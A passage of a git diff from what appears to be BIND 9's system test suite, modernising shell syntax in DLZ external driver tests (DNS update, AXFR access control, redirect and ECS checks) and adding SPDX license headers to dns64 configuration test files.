@@ -18,7 +22,7 @@ DIGOPTS="@10.53.0.1 -p ${PORT} +nocookie"
 RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
 
 newtest() {
-	n=`expr $n + 1`
+	n=$((n + 1))
 	echo_i "${1} (${n})"
 	ret=0
 }
@@ -43,8 +47,8 @@ EOF
 	return 1
     }
 
-    out=`$DIG $DIGOPTS -t $type -q $host | egrep "^$host"`
-    lines=`echo "$out" | grep "$digout" | wc -l`
+    out=$($DIG $DIGOPTS -t $type -q $host | grep -E "^$host")
+    lines=$(echo "$out" | grep "$digout" | wc -l)
     [ $lines -eq 1 ] || {
 	[ "$should_fail" ] || \
             echo_i "dig output incorrect for $host $type $cmd: $out"
@@ -54,22 +58,22 @@ EOF
 }
 
 test_update testdc1.example.nil. A "86400 A 10.53.0.10" "10.53.0.10" || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 test_update testdc2.example.nil. A "86400 A 10.53.0.11" "10.53.0.11" || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 test_update testdc3.example.nil. A "86400 A 10.53.0.10" "10.53.0.10" || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 test_update deny.example.nil. TXT "86400 TXT helloworld" "helloworld" should_fail && ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "testing nxrrset"
-$DIG $DIGOPTS testdc1.example.nil AAAA > dig.out.$n
+$DIG $DIGOPTS testdc1.example.nil AAAA > dig.out.$n || ret=1
 grep "status: NOERROR" dig.out.$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.$n > /dev/null || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "testing prerequisites are checked correctly"
 cat > ns1/update.txt << EOF
@@ -79,17 +83,17 @@ update add testdc3.example.nil 86500 in a 10.53.0.12
 send
 EOF
 $NSUPDATE -k ns1/ddns.key ns1/update.txt > /dev/null 2>&1 && ret=1
-out=`$DIG $DIGOPTS +short a testdc3.example.nil`
+out=$($DIG $DIGOPTS +short a testdc3.example.nil)
 [ "$out" = "10.53.0.12" ] && ret=1
 [ "$ret" -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "testing passing client info into DLZ driver"
-out=`$DIG $DIGOPTS +short -t txt -q source-addr.example.nil | grep -v '^;'`
-addr=`eval echo "$out" | cut -f1 -d'#'`
+out=$($DIG $DIGOPTS +short -t txt -q source-addr.example.nil | grep -v '^;')
+addr=$(eval echo "$out" | cut -f1 -d'#')
 [ "$addr" = "10.53.0.1" ] || ret=1
 [ "$ret" -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "testing DLZ driver is cleaned up on reload"
 rndc_reload ns1 10.53.0.1
@@ -100,95 +104,95 @@ for i in 0 1 2 3 4 5 6 7 8 9; do
     sleep 1
 done
 [ "$ret" -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "testing multiple DLZ drivers"
 test_update testdc1.alternate.nil. A "86400 A 10.53.0.10" "10.53.0.10" || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "testing AXFR from DLZ drivers"
-$DIG $DIGOPTS +noall +answer axfr example.nil > dig.out.example.ns1.test$n
-lines=`cat dig.out.example.ns1.test$n | wc -l`
+$DIG $DIGOPTS +noall +answer axfr example.nil > dig.out.example.ns1.test$n || ret=1
+lines=$(cat dig.out.example.ns1.test$n | wc -l)
 [ ${lines:-0} -eq 4 ] || ret=1
-$DIG $DIGOPTS +noall +answer axfr alternate.nil > dig.out.alternate.ns1.test$n
-lines=`cat dig.out.alternate.ns1.test$n | wc -l`
+$DIG $DIGOPTS +noall +answer axfr alternate.nil > dig.out.alternate.ns1.test$n || ret=1
+lines=$(cat dig.out.alternate.ns1.test$n | wc -l)
 [ ${lines:-0} -eq 5 ] || ret=1
 [ "$ret" -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "testing AXFR denied from DLZ drivers"
-$DIG $DIGOPTS -b 10.53.0.5 +noall +answer axfr example.nil > dig.out.example.ns1.test$n
+$DIG $DIGOPTS -b 10.53.0.5 +noall +answer axfr example.nil > dig.out.example.ns1.test$n || ret=1
 grep "; Transfer failed" dig.out.example.ns1.test$n > /dev/null || ret=1
-$DIG $DIGOPTS -b 10.53.0.5 +noall +answer axfr alternate.nil > dig.out.alternate.ns1.test$n
+$DIG $DIGOPTS -b 10.53.0.5 +noall +answer axfr alternate.nil > dig.out.alternate.ns1.test$n || ret=1
 grep "; Transfer failed" dig.out.alternate.ns1.test$n > /dev/null || ret=1
 [ "$ret" -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "testing AXFR denied based on view ACL"
 # 10.53.0.1 should be disallowed
-$DIG $DIGOPTS -b 10.53.0.1 +noall +answer axfr example.org > dig.out.example.ns1.test$n.1
+$DIG $DIGOPTS -b 10.53.0.1 +noall +answer axfr example.org > dig.out.example.ns1.test$n.1 || ret=1
 grep "; Transfer failed" dig.out.example.ns1.test$n.1 > /dev/null || ret=1
 # 10.53.0.2 should be allowed
-$DIG $DIGOPTS -b 10.53.0.2 +noall +answer axfr example.org > dig.out.example.ns1.test$n.2
+$DIG $DIGOPTS -b 10.53.0.2 +noall +answer axfr example.org > dig.out.example.ns1.test$n.2 || ret=1
 grep "; Transfer failed" dig.out.example.ns1.test$n.2 > /dev/null && ret=1
 [ "$ret" -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "testing unsearched/unregistered DLZ zone is not found"
-$DIG $DIGOPTS +noall +answer ns other.nil > dig.out.ns1.test$n
+$DIG $DIGOPTS +noall +answer ns other.nil > dig.out.ns1.test$n || ret=1
 grep "3600.IN.NS.other.nil." dig.out.ns1.test$n > /dev/null && ret=1
 [ "$ret" -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "testing unsearched/registered DLZ zone is found"
-$DIG $DIGOPTS +noall +answer ns zone.nil > dig.out.ns1.test$n
+$DIG $DIGOPTS +noall +answer ns zone.nil > dig.out.ns1.test$n || ret=1
 grep "3600.IN.NS.zone.nil." dig.out.ns1.test$n > /dev/null || ret=1
 [ "$ret" -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "testing unsearched/registered DLZ zone is found"
-$DIG $DIGOPTS +noall +answer ns zone.nil > dig.out.ns1.test$n
+$DIG $DIGOPTS +noall +answer ns zone.nil > dig.out.ns1.test$n || ret=1
 grep "3600.IN.NS.zone.nil." dig.out.ns1.test$n > /dev/null || ret=1
 [ "$ret" -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "testing correct behavior with findzone returning ISC_R_NOMORE"
 $DIG $DIGOPTS +noall a test.example.com > /dev/null 2>&1 || ret=1
 # we should only find one logged lookup per searched DLZ database
-lines=`grep "dlz_findzonedb.*test\.example\.com.*example.nil" ns1/named.run | wc -l`
+lines=$(grep "dlz_findzonedb.*test\.example\.com.*example.nil" ns1/named.run | wc -l)
 [ $lines -eq 1 ] || ret=1
-lines=`grep "dlz_findzonedb.*test\.example\.com.*alternate.nil" ns1/named.run | wc -l`
+lines=$(grep "dlz_findzonedb.*test\.example\.com.*alternate.nil" ns1/named.run | wc -l)
 [ $lines -eq 1 ] || ret=1
 [ "$ret" -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "testing findzone can return different results per client"
 $DIG $DIGOPTS -b 10.53.0.1 +noall a test.example.net > /dev/null 2>&1 || ret=1
 # we should only find one logged lookup per searched DLZ database
-lines=`grep "dlz_findzonedb.*example\.net.*example.nil" ns1/named.run | wc -l`
+lines=$(grep "dlz_findzonedb.*example\.net.*example.nil" ns1/named.run | wc -l)
 [ $lines -eq 1 ] || ret=1
-lines=`grep "dlz_findzonedb.*example\.net.*alternate.nil" ns1/named.run | wc -l`
+lines=$(grep "dlz_findzonedb.*example\.net.*alternate.nil" ns1/named.run | wc -l)
 [ $lines -eq 1 ] || ret=1
 $DIG $DIGOPTS -b 10.53.0.2 +noall a test.example.net > /dev/null 2>&1 || ret=1
 # we should find several logged lookups this time
-lines=`grep "dlz_findzonedb.*example\.net.*example.nil" ns1/named.run | wc -l`
+lines=$(grep "dlz_findzonedb.*example\.net.*example.nil" ns1/named.run | wc -l)
 [ $lines -gt 2 ] || ret=1
-lines=`grep "dlz_findzonedb.*example\.net.*alternate.nil" ns1/named.run | wc -l`
+lines=$(grep "dlz_findzonedb.*example\.net.*alternate.nil" ns1/named.run | wc -l)
 [ $lines -gt 2 ] || ret=1
 [ "$ret" -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "testing zone returning oversized data"
 $DIG $DIGOPTS txt too-long.example.nil > dig.out.ns1.test$n 2>&1 || ret=1
 grep "status: SERVFAIL" dig.out.ns1.test$n > /dev/null || ret=1
 [ "$ret" -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "testing zone returning oversized data at zone origin"
 $DIG $DIGOPTS txt bigcname.domain > dig.out.ns1.test$n 2>&1 || ret=1
 grep "status: SERVFAIL" dig.out.ns1.test$n > /dev/null || ret=1
 [ "$ret" -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "checking redirected lookup for nonexistent name"
 $DIG $DIGOPTS @10.53.0.1 unexists a > dig.out.ns1.test$n || ret=1
@@ -196,24 +200,32 @@ grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "^unexists.*A.*100.100.100.2" dig.out.ns1.test$n > /dev/null || ret=1
 grep "flags:[^;]* aa[ ;]" dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "checking no redirected lookup for nonexistent type"
 $DIG $DIGOPTS @10.53.0.1 exists aaaa > dig.out.ns1.test$n || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns1.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "checking redirected lookup for a long nonexistent name"
 $DIG $DIGOPTS @10.53.0.1 long.name.is.not.there a > dig.out.ns1.test$n || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
 grep "^long.name.*A.*100.100.100.3" dig.out.ns1.test$n > /dev/null || ret=1
 grep "flags:[^;]* aa[ ;]" dig.out.ns1.test$n > /dev/null || ret=1
-lookups=`grep "lookup #.*\.not\.there" ns1/named.run | wc -l`
+lookups=$(grep "lookup #.*\.not\.there" ns1/named.run | wc -l)
 [ "$lookups" -eq 1 ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
+
+newtest "checking ECS data is passed to driver in clientinfo"
+$DIG $DIGOPTS +short +subnet=192.0/16 source-addr.example.nil txt > dig.out.ns1.test$n.1 || ret=1
+grep "192.0.0.0/16/0" dig.out.ns1.test$n.1 > /dev/null || ret=1
+$DIG $DIGOPTS +short source-addr.example.nil txt > dig.out.ns1.test$n.2 || ret=1
+grep "not.*present" dig.out.ns1.test$n.2 > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/dlzexternal/tests_sh_dlzexternal.py b/bin/tests/system/dlzexternal/tests_sh_dlzexternal.py
new file mode 100644
index 0000000000..1c0f7e5a29
--- /dev/null
+++ b/bin/tests/system/dlzexternal/tests_sh_dlzexternal.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_dlzexternal(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/dns64/clean.sh b/bin/tests/system/dns64/clean.sh
index 3bfa5166ed..b773e2d70f 100644
--- a/bin/tests/system/dns64/clean.sh
+++ b/bin/tests/system/dns64/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dns64/conf/bad1.conf b/bin/tests/system/dns64/conf/bad1.conf
index 3f749175fd..a4b7e7f027 100644
--- a/bin/tests/system/dns64/conf/bad1.conf
+++ b/bin/tests/system/dns64/conf/bad1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/conf/bad10.conf b/bin/tests/system/dns64/conf/bad10.conf
index efd5d20ae3..21855f69b4 100644
--- a/bin/tests/system/dns64/conf/bad10.conf
+++ b/bin/tests/system/dns64/conf/bad10.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 options {
 	dns64 0000:0000:0000:0000:0100:000f::/96 { };  /* bits [64..71] MBZ */
 };
diff --git a/bin/tests/system/dns64/conf/bad11.conf b/bin/tests/system/dns64/conf/bad11.conf
index 0e420a5322..c3bdd92fed 100644
--- a/bin/tests/system/dns64/conf/bad11.conf
+++ b/bin/tests/system/dns64/conf/bad11.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 options {
 	dns64 0000:0000:0000:0000:0200:000f::/96 { }; /* bits [64..71] MBZ */
 };
diff --git a/bin/tests/system/dns64/conf/bad12.conf b/bin/tests/system/dns64/conf/bad12.conf
index 539b184c54..6ffe7209f2 100644
--- a/bin/tests/system/dns64/conf/bad12.conf
+++ b/bin/tests/system/dns64/conf/bad12.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 options {
 	dns64 0000:0000:0000:0000:0400:000f::/96 { }; /* bits [64..71] MBZ */
 };
diff --git a/bin/tests/system/dns64/conf/bad13.conf b/bin/tests/system/dns64/conf/bad13.conf
index 3728ecfc70..dc6c06474f 100644
--- a/bin/tests/system/dns64/conf/bad13.conf
+++ b/bin/tests/system/dns64/conf/bad13.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 options {
 	dns64 0000:0000:0000:0000:0800:000f::/96 { }; /* bits [64..71] MBZ */
 };
diff --git a/bin/tests/system/dns64/conf/bad14.conf b/bin/tests/system/dns64/conf/bad14.conf
index c2ac4f9d98..985101abf5 100644
--- a/bin/tests/system/dns64/conf/bad14.conf
+++ b/bin/tests/system/dns64/conf/bad14.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 options {
 	dns64 0000:0000:0000:0000:1000:000f::/96 { }; /* bits [64..71] MBZ */
 };
diff --git a/bin/tests/system/dns64/conf/bad15.conf b/bin/tests/system/dns64/conf/bad15.conf
index 357ae80684..0931a55bca 100644
--- a/bin/tests/system/dns64/conf/bad15.conf
+++ b/bin/tests/system/dns64/conf/bad15.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 options {
 	dns64 0000:0000:0000:0000:2000:000f::/96 { }; /* bits [64..71] MBZ */
 };
diff --git a/bin/tests/system/dns64/conf/bad16.conf b/bin/tests/system/dns64/conf/bad16.conf
index 5e17457f16..3a8b962b90 100644
--- a/bin/tests/system/dns64/conf/bad16.conf
+++ b/bin/tests/system/dns64/conf/bad16.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 options {
 	dns64 0000:0000:0000:0000:4000:000f::/96 { }; /* bits [64..71] MBZ */
 };
diff --git a/bin/tests/system/dns64/conf/bad17.conf b/bin/tests/system/dns64/conf/bad17.conf
index 71966d2758..6c9079b452 100644
--- a/bin/tests/system/dns64/conf/bad17.conf
+++ b/bin/tests/system/dns64/conf/bad17.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 options {
 	dns64 0000:0000:0000:0000:8000:000f::/96 { }; /* bits [64..71] MBZ */
 };
diff --git a/bin/tests/system/dns64/conf/bad18.conf b/bin/tests/system/dns64/conf/bad18.conf
index 82fac1ad4e..566e177503 100644
--- a/bin/tests/system/dns64/conf/bad18.conf
+++ b/bin/tests/system/dns64/conf/bad18.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 options {
 	dns64 ::/32 { suffix ::8000:0000:0000:0000; }; /* bits [64..71] MBZ */
 };
diff --git a/bin/tests/system/dns64/conf/bad19.conf b/bin/tests/system/dns64/conf/bad19.conf
index 79290c116d..8a9fb76184 100644
--- a/bin/tests/system/dns64/conf/bad19.conf
+++ b/bin/tests/system/dns64/conf/bad19.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 options {
 	dns64 ::/32 { suffix ::0100:0000:0000:0000; }; /* bits [64..71] MBZ */
 };
diff --git a/bin/tests/system/dns64/conf/bad2.conf b/bin/tests/system/dns64/conf/bad2.conf
index 79bc04f319..d27599853c 100644
--- a/bin/tests/system/dns64/conf/bad2.conf
+++ b/bin/tests/system/dns64/conf/bad2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/conf/bad3.conf b/bin/tests/system/dns64/conf/bad3.conf
index 76f160693a..24971b3dd6 100644
--- a/bin/tests/system/dns64/conf/bad3.conf
+++ b/bin/tests/system/dns64/conf/bad3.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/conf/bad4.conf b/bin/tests/system/dns64/conf/bad4.conf
index fbf60d1b81..bc73ca5cf3 100644
--- a/bin/tests/system/dns64/conf/bad4.conf
+++ b/bin/tests/system/dns64/conf/bad4.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/conf/bad5.conf b/bin/tests/system/dns64/conf/bad5.conf
index fbf60d1b81..bc73ca5cf3 100644
--- a/bin/tests/system/dns64/conf/bad5.conf
+++ b/bin/tests/system/dns64/conf/bad5.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/conf/bad6.conf b/bin/tests/system/dns64/conf/bad6.conf
index c29bb3e8ed..1d85ab941a 100644
--- a/bin/tests/system/dns64/conf/bad6.conf
+++ b/bin/tests/system/dns64/conf/bad6.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/conf/bad7.conf b/bin/tests/system/dns64/conf/bad7.conf
index 06919f99b9..afbf437d56 100644
--- a/bin/tests/system/dns64/conf/bad7.conf
+++ b/bin/tests/system/dns64/conf/bad7.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/conf/bad8.conf b/bin/tests/system/dns64/conf/bad8.conf
index 794ad7e4a3..9aa423f695 100644
--- a/bin/tests/system/dns64/conf/bad8.conf
+++ b/bin/tests/system/dns64/conf/bad8.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/conf/bad9.conf b/bin/tests/system/dns64/conf/bad9.conf
index af4b6d912f..b74204c004 100644
--- a/bin/tests/system/dns64/conf/bad9.conf
+++ b/bin/tests/system/dns64/conf/bad9.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/conf/good1.conf b/bin/tests/system/dns64/conf/good1.conf
index 8013b94b69..d84733e201 100644
--- a/bin/tests/system/dns64/conf/good1.conf
+++ b/bin/tests/system/dns64/conf/good1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/conf/good2.conf b/bin/tests/system/dns64/conf/good2.conf
index 4bd4780a58..41b57304ac 100644
--- a/bin/tests/system/dns64/conf/good2.conf
+++ b/bin/tests/system/dns64/conf/good2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/conf/good3.conf b/bin/tests/system/dns64/conf/good3.conf
index aa07886dcb..450b2e0eb8 100644
--- a/bin/tests/system/dns64/conf/good3.conf
+++ b/bin/tests/system/dns64/conf/good3.conf
@@ -1,9 +1,11 @@
 /*
